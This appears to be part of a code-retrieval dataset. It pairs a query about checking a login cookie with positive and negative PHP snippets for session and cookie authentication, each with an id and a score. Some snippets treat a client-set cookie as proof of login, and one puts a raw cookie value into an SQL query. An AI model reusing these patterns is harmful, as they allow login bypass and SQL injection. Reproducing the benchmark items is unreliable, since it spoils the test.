href=\"'.level_url().'texts/'.$url_title.'/\" title=\"'.$coll_prefix.$tooltip_title.'\"><img src=\"'.level_url().'texts/'.$url_title.'.jpg\" alt=\"'.$coll_prefix.$tooltip_title.'\" width=\"120\" height=\"120\" /></a></td>'\n\t\t\t.\"\\r\\n\\t\\t\".'<td class=\"top\" colspan=\"2\"><div class=\"right\"><p>'.convert_date($item->date).'</p></div></td></tr>';\n\t\t}\n\t\t// filters item based on requested $document->section\n\t\tif (title_url_format($item->sort_real) == $document->section || $document->section == '_') {\n\t\t\t$sj++;\n\t\t\t// if under copyright (only applies to music sorted by number), display symbol\n\t\t\tif($document->sortby == 'number' && $item->copyright['year'] >= 1923 && !$item->copyright['cc'] && !$item->copyright['tt']) {\n\t\t\t\t$copyright = '<span class=\"red\">&copy;</span> ';\n\t\t\t} else {\n\t\t\t\t$copyright = '';\n\t\t\t}\n\t\t\t// if sorting by scores, uses score data if present\n\t\t\t$titleline = ($listdata == 'scores' && strlen($scoretitle) ? $scoretitle : $item->title);\n\t\t\t// if year data is present, list only first year given\n\t\t\t$authorline = ($listdata == 'scores' ? $scoreauthor : $item->author).($item->year ? ', '.preg_replace(\"'(\\d{4}).*'\",\"$1\",$item->year) : '');\n\t\t\t$subjectline = ($listdata == 'scores' ? $scoremeter : ($document->sortby == 'scripture' ? $item->scripture : $item->subject));\n\t\t\t//adds, if any present, (score key) or (collection music number, if all '_' collections are not being listed)\n\t\t\tif($scorekey && $listdata == 'scores') {\n\t\t\t\t$parenline = ' <span> ('.$scorekey.')</span>';\n\t\t\t} elseif($item->coll_id && $document->collection != '_') {\n\t\t\t\t$parenline = ' <span> (#'.$item->coll_id.')</span>';\n\t\t\t} else {\n\t\t\t\t$parenline = false;\n\t\t\t}\n\t\t\tstatic $tableclass; // flag for setting first table to have 0 margin-top\n\t\t\t$xml .= \"\\r\\n\\r\\n\\t\"\n\t\t\t.'<table'.(!$tableclass ? ' class=\"first\"' : '').' summary=\"\">'\n\t\t\t.$sort_section\n\t\t\t //adds \n\t\t\t.$text_header\n\t\t\t.\"\\r\\n\\t\".'<tr><td class=\"title\">'.$copyright.'<span class=\"title\">'.$score_links.'<a href=\"'.level_url().$type.'/'.$url_title.'/\">'.apply_formatting($titleline).'</a></span>'\n\t\t\t.$parenline.'<span> | '.str_replace(' ','&nbsp;',$authorline).'</span></td>'\n\t\t\t.\"\\r\\n\\t\".'<td class=\"subject\"><span>'.$subjectline.'</span><a href=\"#\"></a></td></tr>'\n\t\t\t// simple formatting of em dash only, as curly quotes are not distinguishable, and not easily searched from brower\n\t\t\t.($listdata != 'scores' ? \"\\r\\n\\t\".'<tr><td class=\"blurb\" colspan=\"2\"><div>'.str_replace('--','&#8212;',$item->blurb).'</div></td></tr>': '')\n\t\t\t.\"\\r\\n\\t\".'</table>';\n\t\t\t$tableclass = true;\n\t\t}\n\t}\n\t// closes jump menu group\n\tif(!$xml && $document->section) {\n\t\t$menu .= \"\\r\\n\\t\".'<option value=\"\" selected=\"selected\">&#8212;no match&#8212;</option>';\n\t\t$xml = '<h3>No matches found. Try some other options.</h3>';\n\t} elseif($document->section) {\n\t\t// displays # of items (in # of sections, if more than 1)\n\t\t$xml = '<h3 class=\"first\">'.$sj.' item'.($sj > 1 ? 's' : '').($si > 1 ? ' in '.$si.' '.str_replace('composed','year',$document->sortby).' sections' : '').':</h3>'.\"\\r\\n\\r\\n\" . $xml;\n\t}\n\tif($index) {\n\t\t$xml .= '</ul>'.\"\\r\\n\";\n\t}\n\t$menu .= \"\\r\\n\\t\".'</optgroup>';\n\n\t$document->xml .= $xml;\n\treturn $menu;\n}", "title": "" }, { "docid": "de22d37e1ff50288d61a1d82b39e8c97", "score": "0.53184336", "text": "abstract public function as_list();", "title": "" }, { "docid": "58c96a65934df72771cfdc473440a0ab", "score": "0.53172874", "text": "public function buildListLayout(): void\n {\n $this->addColumn('nom', 6)\n ->addColumn('ville_id', 6);\n }", "title": "" }, { "docid": "25935f7329eae5494012261cf3d693f3", "score": "0.5317059", "text": "function getRemoteList(){\n $param['limit'] = 1000;\n $response = self::curl('list_paginator', $param);\n if($response['result_code']){\n foreach($response['rows'] as $list)\n $listArray[$list['id']] = $list['name']; \n return $listArray;\n } \n }", "title": "" } ]
a7f7e163b5e4cdfc3e826ab3c09bd5b9
Checks if the user's browser has the required cookie . If it has the cookie, the user is logged in and the method returns true else it redirects to the login view.
[ { "docid": "e81d58b0edaff0ca9b364df62401fc79", "score": "0.7637999", "text": "public function authentication(){\n if(isset($_COOKIE[\"type\"])){\n return true;\n }\n else{\n $this->redirect(\"auth/login\");\n }\n }", "title": "" } ]
[ { "docid": "07de2722a582326af904f44846d0a72d", "score": "0.773245", "text": "public function ifLoggedIn() {\n $c = new \\view\\Cookies();\n $lw = new \\view\\LoginView();\n if($lw->postKeep()) {\n $c->setCookies();\n }\n }", "title": "" }, { "docid": "f59127049f0fc44b6574a0a31d3a5891", "score": "0.770843", "text": "function logged_in(){\n\n if(isset($_SESSION['email']) || isset($_COOKIE['login details'])){\n\n return true;\n \n }else{\n \n return false;\n }\n }", "title": "" }, { "docid": "f812d09cf66e9b77429c4060070f2571", "score": "0.74751437", "text": "public function cookieLogin() {//Kolla om kakan finns och inte har gått ut\n\t if($this->checkCookie() && $this->expiredCookie() == false){\n\t\t\t$cookie = $this->getCookie();\n\t //Loggar om allt username och password stämmer\n\t if($cookie['user']->username === $this->model->getUsername() \n\t \t&& \n\t \t$this->model->loginModel(\n\t\t \t$this->getClientInfo(), \n\t\t \t$this->model->getPassword(), \n\t\t\t\t$cookie['pass']->password)\n\t\t\t){\n\t return true;\n\t }\n\t }\n\t\t$this->killCookie();\n\t return false;\n\t }", "title": "" }, { "docid": "586e13614de9dea780ecbd30740a390b", "score": "0.7438263", "text": "public function checkAuthCookie(): bool\n {\n // Checks auth\n $this->auth->checkAuthentication();\n if (!$this->auth->isAuthenticated()) {\n return false;\n }\n\n //sets the user and return true if the user is not false\n $this->user = $this->auth->getCurrentUser();\n if ($this->user === false) {\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "1c52f33a1600341607d46390a5565278", "score": "0.73873013", "text": "function checkCookie(){\n $user = User::getUserByLoginId(htmlspecialchars($_COOKIE['auth']));\n if($user){\n connectUser($user->getPseudo(), false);\n header(\"Location: index.php\");\n } else logout();\n}", "title": "" }, { "docid": "48c9a267e66c9949fc080d69deb6dc8c", "score": "0.73818564", "text": "public static function userLoggedIn()\n {\n $app = \\Slim\\Slim::getInstance();\n // initialize the session\n \\Session::init();\n\n if (!isset($_SESSION['user_logged_in'])) {\n if (isset($_COOKIE['rememberme'])) {\n $app->redirect(URL . 'loginWithCookie');\n } else {\n return false;\n }\n }\n return true;\n }", "title": "" }, { "docid": "91f9d5273869d14b08ccd983ec5dda94", "score": "0.73532236", "text": "public function checkLogin()\n {\n if(!isset($_SESSION['loggedin'])) {\n $this->view('home/login', []);\n } else {\n return true;\n }\n }", "title": "" }, { "docid": "1e0bbcfb192b4135035fbde577723771", "score": "0.7324628", "text": "function logged_in(){\n if(isset($_SESSION['email']) || isset($_COOKIE['email'])){\n return true;\n }\n else{\n return false;\n }\n }", "title": "" }, { "docid": "1732c85c0b7e1b38ac27af83d0749a52", "score": "0.7304306", "text": "public static function isLoggedIn() {\n if(isset($_COOKIE[\"session\"])) {\n return true;\n }\n else {\n return false;\n }\n }", "title": "" }, { "docid": "63d8fa22ac6832583cafdbac49d262ab", "score": "0.7267315", "text": "private function checkcookie() {\n\t\t$login = true;\n\t\t// Check if cookies are set. If they aren, set the variables and set user_logged_in to true. If they aren't, just don't set the variables... \n\t\t\n\t\tif(empty($_COOKIE['viennaCMS_userid']) || empty($_COOKIE['viennaCMS_randomstring']) || empty($_COOKIE['viennaCMS_md5passwd'])) {\n\t\t\t$login = false;\n\t\t}\n\t\telse {\n\t\t\t$this->userid \t\t= $_COOKIE['viennaCMS_userid'];\n\t\t\t$this->md5_password\t= $_COOKIE['viennaCMS_md5passwd'];\n\t\t\t$this->randomstring = $_COOKIE['viennaCMS_randomstring'];\n\t\t}\n\t\treturn $login;\n\t}", "title": "" }, { "docid": "21fc680d85c9217f85aa327a83051b0c", "score": "0.7172523", "text": "function isLoggedIn() {\n\t\tif (isset($_COOKIE['valid']) == \"1\")\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\n\t}", "title": "" }, { "docid": "3d66e84c64060756d189082b7a41913f", "score": "0.71511614", "text": "public function isAuthenticated ()\n {\n if ($this->_cookie != \"\")\n {\n return true;\n }\n else\n {\n return false;\n }\n }", "title": "" }, { "docid": "f27363ec6f848822e679f3e95289bebe", "score": "0.7090847", "text": "public static function isLoggedIn() {\n if(empty(Yii::app()->session['userId'])){\n header('Location:/');\n die;\n }\n }", "title": "" }, { "docid": "b890e90d02ef087e7f44586cece545dc", "score": "0.703385", "text": "function isLoggedIn()\n {\n $isLoggedIn = $this->session->userdata('isLoggedIn');\n \n if(isset($isLoggedIn) && $isLoggedIn == TRUE)\n {\n \tredirect('/dashboard');\n }\n else\n {\n \t$data['pageTitle'] = 'Login';\n //send css to login page to load it dynamically. Only for login page!!!\n $data['loginCss'] = CHEQUE_CSS.'login.css';\n $this->load->view(LOGIN_PAGE,$data);\n //redirect('/signin');\n }\n }", "title": "" }, { "docid": "7ffb25f4882427290e2037fe4a59561e", "score": "0.70328647", "text": "public static function check_auth()\n\t{\n\t\ttry\n\t\t{\n\t\t\t//sfwLogger::log(\"sfwAuthenticate: check_auth() - get cookie\", LOGGER_LEVEL_DEBUG);\n\t\t\t$cookie = new sfwCookie();\n\t\t\t$cookie->validate();\n\t\t\tsfwLogger::log(\"sfwAuthenticate: check_auth() - cookie's valid...authenticated!\", LOGGER_LEVEL_INFO);\n\t\t\treturn true;\n\t\t}\n\t\tcatch (sfwAuthenticationException $e)\n\t\t{\n\t\t\t//sfwLogger::log(\"sfwAuthenticate: check_auth() - found not authentic, redirect to login\", LOGGER_LEVEL_DEBUG);\n\t\t\theader(\"Location:login.php?originating_uri=\".$_SERVER['REQUEST_URI']);\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "368119fd301553e345289d7fd74a5880", "score": "0.70157546", "text": "public static function isLogged()\n{\n //cookie\n return isset($_COOKIE['_token']); \n}", "title": "" }, { "docid": "bb188facd7a4c8e64b74de1cf6350961", "score": "0.70097876", "text": "protected function cookieLoggin()\r\n {\r\n //cookie expiration time\r\n $currentTime = time();\r\n $currentDate = date('Y-m-d H:i:s', $currentTime);\r\n\r\n //set auth token directive to false\r\n if (!empty($_COOKIE['user_login']) && !empty($_COOKIE['random_password']) && !empty($_COOKIE['random_selector'])) {\r\n $isPasswordVerified = false;\r\n $isSelectorVerified = false;\r\n $isExpiryDateVerified = false;\r\n\r\n //Get token from id\r\n $db = Db::connect();\r\n $userToken = new Token($db);\r\n $userToken = $userToken->getTokenByUserId($_COOKIE['user_login'], 0);\r\n\r\n //validate random_password\r\n if (password_verify($_COOKIE['random_password'], $userToken->passwordHash)) {\r\n $isPasswordVerified = true;\r\n }\r\n\r\n //validate random selector\r\n if (password_verify($_COOKIE['random_selector'], $userToken->selectorHash)) {\r\n $isSelectorVerified = true;\r\n }\r\n\r\n //check cookie expiration date\r\n if ($userToken->expiryDate >= $currentDate) {\r\n $isExpiryDateVerified = true;\r\n }\r\n\r\n //check and redirect if cookie based validation returns ture else mark token as expired and clear cookies\r\n if (!empty($userToken->id) && $isPasswordVerified && $isSelectorVerified && $isExpiryDateVerified) {\r\n $user = new User($db);\r\n $user = $user->findById($_COOKIE['user_login']);\r\n return $user;\r\n } else {\r\n //clear cookies\r\n if (!empty($userToken->id)) {\r\n $userToken->setTokenExpired($userToken->id);\r\n }\r\n if (isset($_COOKIE['user_login'])) {\r\n setcookie('user_login', '', '-1', '/');\r\n }\r\n\r\n if (isset($_COOKIE['random_password'])) {\r\n setcookie('random_password', '', '-1', '/');\r\n }\r\n\r\n if (isset($_COOKIE['random_selector'])) {\r\n setcookie('random_selector', '', '-1', '/');\r\n }\r\n return false;\r\n }\r\n }\r\n }", "title": "" }, { "docid": "3ab97c4b2bd8b7ba4c1d7c387a833ec0", "score": "0.69977665", "text": "public function isLoggedIn() {\n $cookie = $_COOKIE['parrotSession'];\n $query = database::getInstance()->query(\"SELECT * FROM `\" . DB_PREFIX . \"Users` WHERE `session`='$cookie'\");\n $rows = $query->fetchAll();\n $matches = false;\n foreach ($rows as $row) {\n $matches = true;\n }\n if (isset($_COOKIE['parrotSession']) && $matches == true) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "0c0dae8051aa31ca93d6de81c1ab6805", "score": "0.6996467", "text": "public function isLogged() {\n $auth_session = Cookie::get(\"auth_session\"); //get hash from browser\n //check if session is valid\n return ($auth_session != '' && $this->sessionIsValid($auth_session));\n }", "title": "" }, { "docid": "913035c489ee233e22b8f348f9643057", "score": "0.6959561", "text": "function isLogin(){\n\t\tif(array_key_exists('login', $_COOKIE) && $_COOKIE['login'] == 1){\n\t\t\treturn true;\n\t\t}else{\n\t\t\treturn false;\n\t\t}\t\n\t}", "title": "" }, { "docid": "e427e609c21374c65f534accf81cb50d", "score": "0.6957759", "text": "public function check_cookie()\n\t{\n\t\tif(isset($_COOKIE['auth_username']) && isset($_COOKIE['auth_password']))\n\t\t{\n\t\t\treturn $this->check($_COOKIE['auth_username'], $_COOKIE['auth_password']);\n\t\t}\n\t\treturn false;\n\t}", "title": "" }, { "docid": "5793052ad19d9b5e0b028ed26ca6d3be", "score": "0.695001", "text": "private function checkCookie() {\n if (isset($this->request->cookies[$this->cookiePrefix . 'session'])) {\n $sessionId = $this->request->cookies[$this->cookiePrefix . 'session'];\n $user = $this->userModel->openSession($sessionId);\n if ($user) {\n $this->user = $user;\n $this->sessionId = $sessionId;\n if (isset($this->request->cookies[$this->cookiePrefix . 'renew_at'])) {\n if ($this->request->cookies[$this->cookiePrefix . 'renew_at'] <= time()) {\n $this->createCookie($sessionId);\n $this->userModel->renewSession($sessionId, \n time() + $this->cookieLifeTime);\n }\n }\n return true;\n }\n unset($this->request->cookies[$this->cookiePrefix . 'session']);\n }\n return false;\n }", "title": "" }, { "docid": "fb34d7e49f49c7b6c92312f2d9d678a3", "score": "0.6935314", "text": "public static function is_logged_in() {\n $user = null;\n\n $app = \\Slim\\Slim::getInstance();\n $cookie = $app->getEncryptedCookie('stat_auth_cookie');\n\n if ($cookie) {\n list($username, $hash) = explode(\":\", $cookie);\n $user = self::get_user($username);\n\n if ($user) {\n $hash = $username.\":\".md5($user->get_encrypted_password().$app->config['_cookies.secret_key']);\n\n if ($cookie === $hash) {\n # validated\n $expire = $app->config['_cookies.lifetime'];\n $app->setEncryptedCookie('stat_auth_cookie', $cookie, $expire);\n return $user;\n }\n }\n }\n \n return false;\n }", "title": "" }, { "docid": "097e43b41ed016c7d0d9fb8559b41709", "score": "0.6922227", "text": "public function is_logged_in()\n {\n $is_logged_in = $this->session->userdata('is_logged_in');\n\n if(!isset($is_logged_in) || $is_logged_in != true)\n {\n redirect(base_url());\n }\n }", "title": "" }, { "docid": "c79923d765da3a6f97031f0b1c306e7f", "score": "0.69180626", "text": "public function check_if_logged_in(){\n\t\tif(isset($this->session->email) && isset($this->session->password) && $this->session->designation =='customer'){\n\t\t\treturn TRUE;\n\t\t}\n\t\telse{\n\t\t\treturn false;\n\t\t}\n\t}", "title": "" }, { "docid": "18c71a9707d08ede1fc94f9ed20383d6", "score": "0.69137245", "text": "protected function chkLoginAndRedirect()\r\n\t{\r\n\t\tif( isset($_SESSION['username']) )\r\n\t\t{\r\n\t\t\treturn true ;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn false ;\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "179115cf6f5644ab73ee566517c028eb", "score": "0.6908766", "text": "public function LoggedIn()\n {\n if (isset($_SESSION['user-session'])) {\n return true;\n }\n return false;\n }", "title": "" }, { "docid": "0eec83b3f3c8ca48b29144658b6448c5", "score": "0.6891972", "text": "private function checkCookieAuth()\n {\n if (strlen(trim($this->getUsername())) == 0) {\n $this->objConnector->cleanupSession();\n $this->objConnector->refreshSession();\n return false;\n }\n return true;\n }", "title": "" }, { "docid": "73a4ad5935ba5c088398cf4b8ee5abaa", "score": "0.68872404", "text": "public static function isLoggedIn() {\n\n //Checks if Cookie is Set\n if (isset($_COOKIE['MID'])) {\n //Checks if Cookie is in Database\n if(database::query(\"SELECT fk_users_id FROM login_tokens WHERE login_token=:token\", array(':token'=>sha1($_COOKIE['MID'])))){\n $userid = database::query(\"SELECT fk_users_id FROM login_tokens WHERE login_token=:token\", array(':token'=>sha1($_COOKIE['MID'])))[0]['fk_users_id'];\n \n return $userid;\n }\n }\n return false;\n\n }", "title": "" }, { "docid": "31ee1fc5daad8522e07282730bd6bb29", "score": "0.6873167", "text": "public function loggedIn()\n {\n return (isset($_SESSION['auth_user']) && !empty($_SESSION['auth_user']));\n }", "title": "" }, { "docid": "c0e3417dc35793162c364017d3eb78e7", "score": "0.68629205", "text": "public function checklogin() {\n if (!(isset($_SESSION['username'], $_SESSION['user_id']))) {\n header(\"Location:/index.php\");\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "9c37d59c5a3e65566fb5994968faf5d9", "score": "0.6859691", "text": "function login(){\n\t\t// $control-> login();\n\t\t$view = new View();\n\t\tif(empty($_COOKIE)){\n\t// above check seems to work. Use it in the rest of the site\n\t\t // echo \"<p>logged in as nobody...</p>\";\n\t\t\t$view->displayLoginSub();\n\t\t}else{\n\t\t\t$view->displayPageSub(\"home2.php\");\n\t\t}\n\t}", "title": "" }, { "docid": "4c6f356b6703f33bc51a1e70015cdc92", "score": "0.6859173", "text": "public function checksessionAction() {\r\n if(!(bool) Zend_Auth::getInstance()->getIdentity()) {\r\n return false;\r\n } else {\r\n $this->view->success = true;\r\n $this->_helper->FlashMessenger->addMessage(\"User Logged in\");\r\n return true;\r\n }\r\n }", "title": "" }, { "docid": "28a6b31360dbe37676d20b3ed6a09766", "score": "0.68456054", "text": "public function loginWithRememberMe()\n {\n $userId = rtrim($this->cookies->get($this->_key)->getValue());\n $user = forward_static_call([$this->_model, 'findUserById'], $userId);\n if ($user) {\n // Check if the user was flagged\n $this->checkUserFlags($user);\n\n $this->_viewer->setId($user->getId());\n $this->_viewer->setRole($user->getRole());\n\n return true;\n }\n\n $this->_viewer->destroy();\n\n return false;\n }", "title": "" }, { "docid": "71e1fc479d5085e25bbd9687afaa74b3", "score": "0.6837638", "text": "public function is_logged_in()\n {\n if(empty($this->session->userdata('staff_user_id')))\n\t\t{\n\t\t\tredirect('login');\n\t\t}\n }", "title": "" }, { "docid": "a580091e475c6c29062c68e334ac0073", "score": "0.6835632", "text": "static function checkLogin() {\n\t\t\tglobal $site;\n\t\t\t$ret = false;\n\t\t\t$name = sprintf('banana_login%s', $site->hashPassword('cookie'));\n\t\t\t$cookie = isset($_COOKIE[$name]) ? $_COOKIE[$name] : null;\n\t\t\tif ($cookie) {\n\t\t\t\t$cookies = new StatelessCookie( $site->hashPassword('mega-ggi') );\n\t\t\t\t$login = $cookies->getCookieData($cookie);\n\t\t\t\t$user = self::getBy('login', $login);\n\t\t\t\t# Check user and password\n\t\t\t\tif ( $user && $cookies->checkCookie($cookie, $user->password) ) {\n\t\t\t\t\t# Save user id\n\t\t\t\t\tself::$user_id = $user->id;\n\t\t\t\t\t$ret = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn $ret;\n\t\t}", "title": "" }, { "docid": "9a2df5522d650e4762c3e67ee3b5d79a", "score": "0.683064", "text": "public function isLoggedIn()\n {\n// $user_id = $this->request->session()->read('User.id');\n $user = $this->Auth->User();\n if (!empty($user)) {\n return true;\n } else {\n return false;\n }\n }", "title": "" }, { "docid": "40f10b3f0f22e2c10f2d37a0ec36db8c", "score": "0.68258065", "text": "public function simpl_check_login(){\n\t\tsession_start();\n\t\tif(isset($_SESSION['username']) && $_SESSION['username'] != \"\"){\n\t\t\t$this->username = $_SESSION['username'];\n\n\t\t\t//create a user object on every check of login for each page.\n\t\t\t$logged_user = new user($this->username);\n\n\t\t\treturn true;\n\t\t}else{\n\t\t\theader(\"location:../sim_login/\");\n\t\t}\n\t}", "title": "" }, { "docid": "3ea59ed93b1664ed7d82e5eac7ef5b82", "score": "0.6822173", "text": "public function checkIfLoggedIn()\r\n {\r\n\r\n if (Yii::$app->getUser()->isGuest &&\r\n Yii::$app->getRequest()->url !== Url::to(Yii::$app->getUser()->loginUrl)\r\n ) {\r\n Yii::$app->getResponse()->redirect(\\Yii::$app->getUser()->loginUrl);\r\n }\r\n }", "title": "" }, { "docid": "2bcb8ddcb5c4a302a8e9046d71da1910", "score": "0.68220294", "text": "protected function check_login () {\n\n #if the user is logged in\n if ($this->session->userdata ('idUser') !=NULL) {\n\n #if the user is on the login/register pages\n if ($this->router->fetch_class() == 'users') {\n #only rediret if the user is not on the logout page\n if ($this->router->fetch_method () != 'logout') {\n rediret (\"home\");\n }\n }\n #if the user is logged out\n } else {\n #if the user is not on the login/register pages\n if ($this->router->fetch_class () != 'users') {\n redirect (\"users/login\");\n }\n }\n }", "title": "" }, { "docid": "e84d7df2a228fd33dc1ffec2b8b1e9f6", "score": "0.6819599", "text": "private function check_login()\n\t{\n\t\tif (Auth::check()) {\n\t\t\t$this->is_logged_in = TRUE;\n\t\t\t$this->view->user = Auth::user();\n\t\t\t$this->user = Auth::user();\n\t\t}\n\t}", "title": "" }, { "docid": "b3a71f2b300530830b0162e0c0b5ec07", "score": "0.6813099", "text": "public function checkForCookie()\n {\n $authenticationAndSecurity = new authenticationAndSecurity();\n $authentication = $authenticationAndSecurity->getAuthentication();\n if ($authentication['type'] === 'cookie' && $authentication['details'] === false) {\n http_response_code(401); // set 'unauthorised' code\n exit();\n }\n }", "title": "" }, { "docid": "b0ca2e39f914dc5e5220e41808d41efd", "score": "0.6811424", "text": "public function accept_cookies()\r\n {\r\n $cookie = array(\r\n 'name' => 'quarx-cookie-accept',\r\n 'value' => true,\r\n 'expire' => '2592000'\r\n );\r\n\r\n $this->input->set_cookie($cookie);\r\n\r\n redirect(\"login\");\r\n }", "title": "" }, { "docid": "83a753044c941a90383d339b0553ea41", "score": "0.67947024", "text": "function loggedin() {\r\n\tif(isset($_SESSION['user_id']) OR ($_COOKIE['user_id']) ) {\r\n\t\treturn true; //if there is a cookie or a session variable, the user is loged in\r\n\t}\r\n\telse {\r\n\t\treturn false;\r\n\t}\r\n\t\r\n\t\r\n\t\r\n\t\r\n}", "title": "" }, { "docid": "aca963148a1c8883ca2f0cf488e3cd56", "score": "0.6781215", "text": "public function loggedIn(){\n if ((isset($_SESSION['user_id']) && !empty($_SESSION['user_id']))\n && (isset($_SESSION['email']) && !empty($_SESSION['email']))) {\n # if the necessary session variables are set for session\n if ($_SESSION['email'] == $this->getAdminUserInfo('id', $_SESSION['user_id'], 'company_email')) {\n # means the set session variables(user_id and email) are explicitly correct\n return TRUE;\n }else {\n return FALSE;\n }\n }else {\n # just return FALSE since the necessary session variables are not even set\n return FALSE;\n }\n }", "title": "" }, { "docid": "9dc24561806eea096b30cc1018e1cb6f", "score": "0.67567164", "text": "public static function authenticated()\n\t\t{\n\t\t\tif( FormsAuthentication::isAuthCookieSet() )\n\t\t\t{\n\t\t\t\tif( FormsAuthentication::authenticateSecret( FormsAuthentication::getAuthCookie(), FormsAuthentication::getAuthSecret() ))\n\t\t\t\t{\n\t\t\t\t\tif( Authentication::authorize(FormsAuthentication::getAuthCookie() ))\n\t\t\t\t\t{\n\t\t\t\t\t\tAuthentication::$identity = FormsAuthentication::getAuthCookie();\n\t\t\t\t\t\treturn true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\treturn false;\n\t\t}", "title": "" }, { "docid": "ffb744793d6ea672e6336cc1ec4008b2", "score": "0.6755262", "text": "public function loginWithSessionCookieToken() {\n if ($this->getConfig('login', 'securityLevel' == 0)) {\n if (isset($_SESSION['token']) &&\n isset($_COOKIE['token']) &&\n isset($_SESSION['userid']) &&\n $_SESSION['token'] == $_COOKIE['token'] &&\n !(isset($_REQUEST['Logout']) && $_REQUEST['Logout'] == 'Submit')\n ) {\n if ($this->selectAndSetUserClassDetailsWithUserIdAndToken($_SESSION['userid'],$_SESSION['token'])) {\n $this->loggedin = true;\n $this->addDebug(DEBUG_VERBOSE, \"Login Sucess using Session Token and Cookie Token matched.\");\n return true;\n }\n } else {\n if (isset($_REQUEST['Logout']) && $_REQUEST['Logout'] == 'Submit') {\n $this->logout();\n }\n $this->loggedin = false;\n $this->addDebug(DEBUG_ERROR, \"Session token/userid, or cookie token not set, or not matched. Login Denied\");\n return false;\n }\n }\n return false;\n }", "title": "" }, { "docid": "cc7ace084ff7c6a7726b51c35930a101", "score": "0.67517996", "text": "public static function logged()\n {\n if ( isset( $_SESSION[ 'orionauth' ] ) )\n {\n if ( empty( self::$user ) )\n return self::login( true );\n else\n return true;\n }\n\n return false;\n }", "title": "" }, { "docid": "99c78e3e52696f7f19c1bc5ded68456d", "score": "0.67512125", "text": "public static function user_logged(){\n\t\tif(Session::get('user_id'))\n\t\t\treturn true;\n\t\telse\n\t\t\treturn false;\t\t\n\t}", "title": "" }, { "docid": "607ad25352f71acdc2c492f47100c38b", "score": "0.6742529", "text": "function isLoggedIn()\n {\n $isLoggedIn = $this->session->userdata('isLoggedIn');\n \n if(!isset($isLoggedIn) || $isLoggedIn != TRUE)\n {\n $this->load->view('login');\n }\n else\n {\n redirect('/');\n }\n }", "title": "" }, { "docid": "e1f9b87aa5b0e474f9973ffa4cd46701", "score": "0.6718579", "text": "public function loggedIn() : bool\n {\n return $this->session->has($this->config['session_key']);\n }", "title": "" }, { "docid": "9d4f213d370e5852e06358aa5d878aa6", "score": "0.6703045", "text": "public function isLoggedIn();", "title": "" }, { "docid": "9d4f213d370e5852e06358aa5d878aa6", "score": "0.6703045", "text": "public function isLoggedIn();", "title": "" }, { "docid": "6d631bda7b842dab03ccae182dd860aa", "score": "0.669126", "text": "public static function isLoggedIn()\n {\n if (!isset($_COOKIE[self::TOKEN_COOKIE])) {\n return false;\n }\n\n // retrieve the payload from the token\n $tokenPayload = JsonWebToken::readToken($_COOKIE[self::TOKEN_COOKIE]);\n\n // If the token payload could not be retrieved they can't be logged in\n if (!$tokenPayload) {\n return false;\n }\n\n // verify the token isn't expired (in the event someone modified the cookie expiration)\n if ($tokenPayload['exp'] <= time()) {\n return false;\n }\n\n return true;\n }", "title": "" }, { "docid": "63b3cf21d060ae7e6d83c5477e5ca8a8", "score": "0.6684801", "text": "public static function isAuthCookieSet()\n\t\t{\n\t\t\tif( isset( \\System\\Base\\ApplicationBase::getInstance()->session[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName] ))\n\t\t\t{\n\t\t\t\tif(\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsExpires > 0)\n\t\t\t\t{\n\t\t\t\t\tif(isset(\\System\\Base\\ApplicationBase::getInstance()->session[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName.'_last_activity']) && (time() - \\System\\Base\\ApplicationBase::getInstance()->session[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName.'_last_activity'] > \\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsExpires)) {\n\t\t\t\t\t\t\n\t\t\t\t\t\tFormsAuthentication::signout();\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\\System\\Base\\ApplicationBase::getInstance()->session[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName.'_last_activity'] = time();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telseif( isset( $_COOKIE[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName] ))\n\t\t\t{\n\t\t\t\tif(\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsExpires > 0)\n\t\t\t\t{\n\t\t\t\t\tif(isset($_COOKIE[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName.'_last_activity']) && (time() - $_COOKIE[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName.'_last_activity'] > \\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsExpires)) {\n\t\t\t\t\t\tFormsAuthentication::signout();\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t$_COOKIE[\\System\\Base\\ApplicationBase::getInstance()->config->authenticationFormsCookieName.'_last_activity'] = time();\n\t\t\t\treturn true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "5d4d9574f687225415d8258dad1d2222", "score": "0.6682968", "text": "public function isLoggegIn(){\r\n if(isset($_SESSION['user_id'])){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "title": "" }, { "docid": "e74fe9d67710a80a7246b0869598afb2", "score": "0.66809547", "text": "function is_logged_in()\n {\n $is_logged_in = $this->session->userdata('admin');\n \n if(!isset($is_logged_in) || $is_logged_in != true)\n {\n\t\t\tredirect('acceso');\n }\n }", "title": "" }, { "docid": "1be6e7dc07f63c80b7a8831da549357f", "score": "0.6680144", "text": "public function logged_in() {\n return(isset($_SESSION['id'])) ? true : false;\n }", "title": "" }, { "docid": "0acfbdaf13d0d34fd4e37794ce36bdb8", "score": "0.66796404", "text": "public function logged_in()\r\n\t{\r\n\t $logged_in = $this->CI->session->userdata('logged_in');\r\n\r\n\t\treturn !is_null($logged_in) && $logged_in;\r\n\t}", "title": "" }, { "docid": 